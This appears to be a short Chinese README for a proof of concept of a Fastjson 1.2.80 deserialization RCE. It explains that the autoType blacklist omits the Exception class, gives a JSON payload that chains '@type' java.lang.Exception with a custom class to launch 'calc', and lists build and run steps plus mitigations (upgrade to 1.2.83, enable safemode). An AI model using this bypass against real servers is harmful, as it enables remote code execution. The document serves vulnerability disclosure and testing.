Fastjson rce poc for 1.2.80
autoType
黑名单缺少了Exception
类,导致被绕过
{
"@type": "java.lang.Exception",
"@type": "com.kk.domain.Poc",
"name": "calc"
}
- 编译
mvn clean package
,或直接下载 fastjson-rce-1.0.0.jar - 运行
java -jar .\target\fastjson-rce-1.0.0.jar
- 发送payload ,如果弹出计算器则利用成功
- 升级到最新版本 v1.2.83
- 卸载计算器 😂🤣
- 开启safemode
- 开启方法如下
- 自行编译源码,需要确认springboot 启动类中的safemode 开关是否打开,关闭之后可以正常复现
- 直接下载 fastjson-rce-1.0.0.jar 不受影响